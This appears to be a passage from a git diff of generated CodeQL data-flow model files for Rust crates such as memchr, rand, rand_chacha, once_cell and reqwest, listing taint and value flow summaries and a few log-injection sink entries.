["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::all::memchr::OneIter::searcher]", "value", "dfc-generated"] @@ -83,6 +65,54 @@ extensions: - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::generic::packedpair::Finder::pair]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::OneIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::One::avx2].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::One::sse2].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::avx2::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::ThreeIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::avx2].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::sse2].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::avx2].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::sse2].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::avx2].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Three::sse2].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::avx2::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::TwoIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Two::avx2].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Two::sse2].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Two::avx2].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::avx2::memchr::Two::sse2].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::avx2::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[crate::arch::x86_64::avx2::packedpair::Finder::sse2].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::x86_64::avx2::packedpair::Finder::avx2].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::OneIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::One(0)].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::sse2::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::ThreeIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::sse2::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::TwoIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::x86_64::sse2::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::x86_64::sse2::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[0].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[crate::arch::x86_64::sse2::packedpair::Finder(0)].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[0].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::x86_64::sse2::packedpair::Finder(0)].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[0].Field[crate::cow::Imp::Owned(0)]", "ReturnValue.Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "ReturnValue.Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr2::needle1]", "value", "dfc-generated"] @@ -92,31 +122,26 @@ extensions: - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[2]", "ReturnValue.Field[crate::memchr::Memchr3::needle3]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr::needle1]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindIter::haystack]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindIter::pos]", "ReturnValue.Field[crate::memmem::FindIter::pos]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindIter::prestate]", "ReturnValue.Field[crate::memmem::FindIter::prestate]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memmem::FindIter::finder]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::haystack]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::pos]", "ReturnValue.Field[crate::memmem::FindRevIter::pos]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memmem::FindRevIter::finder]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::FindIter::finder].Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::FindIter::finder].Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[0]", "Argument[self].Field[crate::memmem::FinderBuilder::prefilter]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[0]", "ReturnValue.Field[crate::memmem::FinderBuilder::prefilter]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[1]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[2]", "Argument[self]", "taint", "df-generated"] @@ -132,12 +157,6 @@ extensions: - ["repo:https://github.com/BurntSushi/memchr:memchr", "::clear_least_significant_bit", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::all_zeros_except_least_significant", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::clear_least_significant_bit", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::to_char", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::count_byte_by_byte", "Argument[0].Reference", "Argument[2].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::fwd_byte_by_byte", "Argument[0].Reference", "Argument[2].Parameter[0]", "value", "dfc-generated"] @@ -166,3 +185,7 @@ extensions: data: - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_prefilter", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_prefilter", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_prefilter", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml b/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml index deaaf890d15..e25f5920a01 100644 --- a/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml +++ b/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml @@ -18,4 +18,3 @@ extensions: - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/matklad/once_cell:once_cell", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] - - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml index 682e2545713..c55a8de83f5 100644 --- a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml @@ -24,11 +24,14 @@ extensions: - ["repo:https://github.com/rust-random/rand:rand", "::weights", "Argument[self]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::index]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::index]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::next_u32", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::next_u64", "Argument[self].Field[crate::rngs::mock::StepRng::v]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::rngs::mock::StepRng::v]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::rngs::mock::StepRng::a]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[0].Field[crate::block::BlockRng::core]", "ReturnValue.Field[crate::rngs::reseeding::ReseedingRng(0)].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::rngs::reseeding::ReseedingRng(0)].Field[crate::block::BlockRng::core]", "ReturnValue.Field[crate::rngs::reseeding::ReseedingRng(0)].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::rngs::reseeding::ReseedingCore::reseeder]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::seq::coin_flipper::CoinFlipper::rng]", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::seq::increasing_uniform::IncreasingUniform::rng]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml index 456b8c7e3e7..f06b9cd4c78 100644 --- a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml @@ -9,8 +9,20 @@ extensions: - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_ref", "Argument[self].Field[crate::chacha::Array64(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha12Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::get_word_pos", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::set_word_pos", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha20Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::get_word_pos", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::set_word_pos", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha8Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::get_word_pos", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::set_word_pos", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::diagonalize", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::round", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::undiagonalize", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml index 7355d362c71..274a3fbb189 100644 --- a/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml +++ b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml @@ -66,15 +66,19 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_congestion_bbr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_conn_receive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_max_field_section_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_max_idle_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_send_grease", 